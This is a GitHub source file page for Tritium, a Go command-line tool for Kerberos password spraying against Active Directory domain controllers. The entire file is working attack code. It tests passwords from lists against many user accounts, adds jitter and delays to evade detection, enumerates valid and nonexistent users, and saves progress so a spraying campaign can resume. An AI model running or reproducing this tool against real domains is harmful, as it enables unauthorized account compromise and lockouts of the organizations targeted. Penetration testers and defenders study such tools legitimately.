-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathTritium.go
572 lines (393 loc) · 12.3 KB
/
Tritium.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
/*
Copyright (C) 2020 Ali Ahmad
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; version 2
of the License only.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to
Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
Contact Information:
Ali S. Ahmad ([email protected])
*/
package main
import (
"bufio"
"encoding/json"
"flag"
"fmt"
"io/ioutil"
"log"
"math/rand"
"os"
"strings"
"time"
kclient "github.com/ropnop/gokrb5/client"
kconfig "github.com/ropnop/gokrb5/config"
)
const (
banner = `
___________ .__ __ .__
\__ ___/______|__|/ |_|__|__ __ _____
| | \_ __ \ \ __\ | | \/ \
| | | | \/ || | | | | / Y Y \
|____| |__| |__||__| |__|____/|__|_|__/ v 0.4
Author: S4R1N, alfarom256
`
usage = `
Required Params:
-d The full domain to use (-domain targetdomain.local)
-dc Domain controller to authenticate against (-dc washingtondc.targetdomain.local)
-dcf File of domain controllers to authenticate against
-u Select single user to authenticate as (-user jsmith)
-uf User file to use for password spraying (-userfile ~/home/users.txt)
-p Password to use for spraying (-password Welcome1)
Optional:
-help Print this help menu
-o Tritium Output file (default spray.json)
-w Wait time between authentication attempts [Default 1] (-w 0)
-jitter % Jitter between authentication attempts
-rs Enable recursive spraying
-ws Wait time between sprays [Default 3600] (-ws 1800)
-pwf Password file to use for recursive
-res Continue a password spraying campaign
-rf Tritium Json file
`
KERB_FMT_STRING = `[libdefaults]
default_realm = ${REALM}
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
%s = {
kdc = %s
}`
)
type FlagOptions struct { // option var decleration
help bool
username string
userfile string
domain string
password string
domainController string
dcf string
wait int
jitter int
o string
rs bool
ws int
pwf string
res bool
rf string
}
type Authenticator interface {
Login() (string, string, error)
}
type account struct {
Username string
Domain string
Password string
Compromised bool
PassNum int
}
func options() *FlagOptions {
username := flag.String("u", "", "single username to authenticate as")
userfile := flag.String("uf", "", "userfile for spraying")
domain := flag.String("d", "", "userdomain")
password := flag.String("p", "", "password for spraying")
domainController := flag.String("dc", "", "KDC to authenticate against")
dcf := flag.String("dcf", "", "File of KDCs to Auth Against")
help := flag.Bool("h", false, "Help Menu")
wait := flag.Int("w", 1, "Wait time between authentication attempts")
jitter := flag.Int("jitter", 0, "Jitter between auth attempts")
rs := flag.Bool("rs", false, "Recursive Spray flag")
ws := flag.Int("ws", 3600, "Wait time between sprays")
pwf := flag.String("pwf", "", "Password file")
res := flag.Bool("res", false, "Resumes a spray")
rf := flag.String("rf", "", "Resume file")
o := flag.String("o", "spray.json", "outfile")
flag.Parse()
return &FlagOptions{
help: *help,
username: *username,
userfile: *userfile,
domain: *domain,
password: *password,
domainController: *domainController,
wait: *wait,
rs: *rs,
ws: *ws,
pwf: *pwf,
rf: *rf,
res: *res,
o: *o,
jitter: *jitter,
dcf: *dcf,
}
}
func wait(wt int, jitPerc int) {
var jitter float64 = 0
var wait int = 0
var sign int = rand.Intn(2)
if sign == 0 {
sign = 1
} else {
sign = -1
}
if jitPerc > 0 {
jitter = float64(rand.Intn(jitPerc)*sign) / 100 // creates jitter percentage
} else {
jitter = 0.0
}
var jitWait float64 = float64(wt*1000) * jitter // creates jitter time (plus or minus whatever seconds)
wait = (wt * 1000) + int(jitWait) // actual wait time
time.Sleep(time.Duration(wait) * time.Millisecond)
}
func randomDC(dcs []string) string {
var dc string
if len(dcs) > 0 {
dc = dcs[rand.Intn(len(dcs))]
}
return dc
}
func saveState(users []account, of string) {
file, _ := json.MarshalIndent(users, "", " ")
_ = ioutil.WriteFile(of, file, 0644)
}
func removeUser(users []account, i int) []account {
var user account
copy(users[i:], users[i+1:]) // Shift a[i+1:] left one index.
users[len(users)-1] = user // Erase last element (write zero value).
users = users[:len(users)-1] // Truncate slice.
return users
}
func acctArrGen(ufile string, realm string, resumeSpray bool) []account {
var acctArr []account
var counter int = 0
if resumeSpray != true {
users := make([]account, linecounter(ufile)) // create array
fmt.Println("Userfile set to: ", ufile)
file, err := os.Open(ufile)
if err != nil {
log.Fatal(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
users[counter].Username = scanner.Text()
users[counter].Domain = realm
users[counter].Compromised = false
users[counter].PassNum = 0
counter++
}
acctArr = users
} else {
jsonFile, err := os.Open(ufile)
if err != nil {
fmt.Println(err)
}
defer jsonFile.Close()
byteValue, _ := ioutil.ReadAll(jsonFile)
json.Unmarshal(byteValue, &acctArr)
}
return acctArr
}
func kerbAuth(username string, relm string, pass string, domainController string) string {
var domain = relm
var user = username
var password = pass
var DC = domainController
var retString string = "[" + DC + "]\t" + domain + "/" + username + ":" + password
/*
Formats the config per the RFC standard
*/
kcfg_str := fmt.Sprintf(KERB_FMT_STRING, domain, DC)
cfg, err := kconfig.NewConfigFromString(kcfg_str)
cl := kclient.NewClientWithPassword(user, domain, password, cfg, kclient.DisablePAFXFAST(true))
err = cl.Login()
if err != nil {
if strings.Contains(err.Error(), "Networking_Error: AS Exchange Error") {
fmt.Println("[Fatal: Networking Error - Cannot contact KDC]")
os.Exit(1)
} else if strings.Contains(err.Error(), "KRB_AP_ERR_SKEW") {
fmt.Println("[FATAL: Time delta between server and client too large]")
os.Exit(1)
} else if strings.Contains(err.Error(), "KRB5_REALM_UNKNOWN") {
fmt.Println("Cannot find KDC for requested realm")
os.Exit(1)
} else if strings.Contains(err.Error(), "KRB5_KDC_UNREACH") {
fmt.Println("Cannot contact any KDC for requested realm")
os.Exit(1)
} else if strings.Contains(err.Error(), "client does not have a username") {
retString += "\t [Blank Username]"
} else if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") {
retString += "\t [USER ACCOUNT LOCKED]"
fmt.Println(retString)
} else if strings.Contains(err.Error(), "KDC_ERR_PREAUTH_FAILED") {
retString += "\t [Valid User But Invalid Password]"
fmt.Println(retString)
} else if strings.Contains(err.Error(), "KDC_ERR_C_PRINCIPAL_UNKNOWN") {
retString += "\t [USER DOESN'T EXIST]"
fmt.Println(retString)
} else {
retString += "\t [VALID Login!]"
fmt.Println(retString)
}
}
return retString
}
func linecounter(fileName string) int {
var lines int
f, _ := os.Open(fileName)
scanner := bufio.NewScanner(f)
for scanner.Scan() {
lines++
}
return lines
}
func spray(users []account, password string, DCs []string, wt int, jitter int, of string, passNum int) {
var lockoutProtection int = 0
var matcher string = "" // case matcher
for i := 0; i < len(users); i++ {
if users[i].Compromised == false {
if users[i].PassNum == 0 || users[i].PassNum < passNum {
users[i].Password = password
users[i].PassNum = passNum
matcher = kerbAuth(users[i].Username, users[i].Domain, users[i].Password, randomDC(DCs))
if strings.Contains(matcher, "[VALID Login!]") {
users[i].Compromised = true
}
if strings.Contains(matcher, "[USER ACCOUNT LOCKED]") {
lockoutProtection++
} else if strings.Contains(matcher, "[USER DOESN'T EXIST]") {
users = removeUser(users, i) // removes user in current element and moves everything else up
i-- // since element was removed and replaced this resets the counter so a user doesnt get skipped
} else {
lockoutProtection = 0
}
if lockoutProtection == 3 {
fmt.Println("3 Consective Lockouts reached, exiting the program!")
saveState(users, of)
os.Exit(1) // exit program if 3 consecutive users are locked out
}
wait(wt, jitter)
}
}
}
saveState(users, of)
}
func recSpray(users []account, passfile string, DCs []string, wt int, jitter int, ws int, of string) {
pwfile, err := os.Open(passfile) // openspasswordfile
var counter int = 0 // used for tracking (mostly here for resume spray)
fmt.Println("Password file set to:", passfile)
if err != nil {
log.Fatal(err)
}
defer pwfile.Close()
pwscanner := bufio.NewScanner(pwfile)
for pwscanner.Scan() {
fmt.Println("----------------------", pwscanner.Text(), "----------------------")
spray(users, pwscanner.Text(), DCs, wt, jitter, of, counter)
counter++
wait(ws, 0)
}
}
func resSpray(rs bool, users []account, pwstring string, DCs []string, wt int, jitter int, ws int, of string) {
if rs {
recSpray(users, pwstring, DCs, wt, jitter, ws, of)
} else {
for i := 0; i < len(users); i++ { //resets for individual sprays
users[i].PassNum = 0
}
spray(users, pwstring, DCs, wt, jitter, of, 0)
}
}
func main() {
var err bool = false
var rs bool = false
var dcARR []string
rand.Seed(time.Now().UnixNano())
fmt.Println(banner)
opt := options()
if opt.help {
fmt.Println(usage)
os.Exit(0)
}
if opt.domainController == "" && opt.dcf == "" {
fmt.Println("Error I need a KDC or a KDC file")
os.Exit(1)
} else if opt.dcf != "" {
dcList, err := os.Open(opt.dcf)
if err != nil {
log.Fatal(err)
}
defer dcList.Close()
dcs := bufio.NewScanner(dcList)
for dcs.Scan() {
dcARR = append(dcARR, dcs.Text())
}
} else {
dcARR = append(dcARR, opt.domainController)
}
if opt.res {
if opt.rf != "" {
userArr := acctArrGen(opt.rf, opt.domain, opt.res)
if opt.rs {
resSpray(opt.rs, userArr, opt.pwf, dcARR, opt.wait, opt.jitter, opt.ws, opt.o)
os.Exit(0)
} else {
resSpray(opt.rs, userArr, opt.password, dcARR, opt.wait, opt.jitter, opt.ws, opt.o)
os.Exit(0)
}
} else {
fmt.Println("[+] Error spray database not provided")
os.Exit(1)
}
} else {
if opt.rs {
rs = true
}
if opt.username == "" && opt.userfile == "" {
fmt.Println("[+] Username or Userfile Not Provided")
err = true
}
if opt.domain == "" {
fmt.Println("[+] Domain Name Not Provided")
err = true
}
if opt.password == "" && opt.rs == false {
fmt.Println("[+] Password Not Provided")
err = true
}
if err {
fmt.Println("\nPlease reference help menu below to fix issues: ")
fmt.Println(usage)
os.Exit(1)
}
if opt.username != "" { // single user mode
fmt.Println("Username set to: ", opt.username)
kerbAuth(opt.username, opt.domain, opt.password, opt.domainController)
os.Exit(0)
} else if opt.userfile != "" { // password spray mode
userArr := acctArrGen(opt.userfile, opt.domain, opt.res)
if rs == false {
if opt.password == "" {
fmt.Println("ERROR: Single password spray without password flag")
os.Exit(1)
}
spray(userArr, opt.password, dcARR, opt.wait, opt.jitter, opt.o, 0)
} else {
if opt.pwf != "" {
recSpray(userArr, opt.pwf, dcARR, opt.wait, opt.jitter, opt.ws, opt.o)
} else {
fmt.Println("Error! Recursive spray selected but no password has been set!")
os.Exit(1)
}
}
os.Exit(0)
}
}
}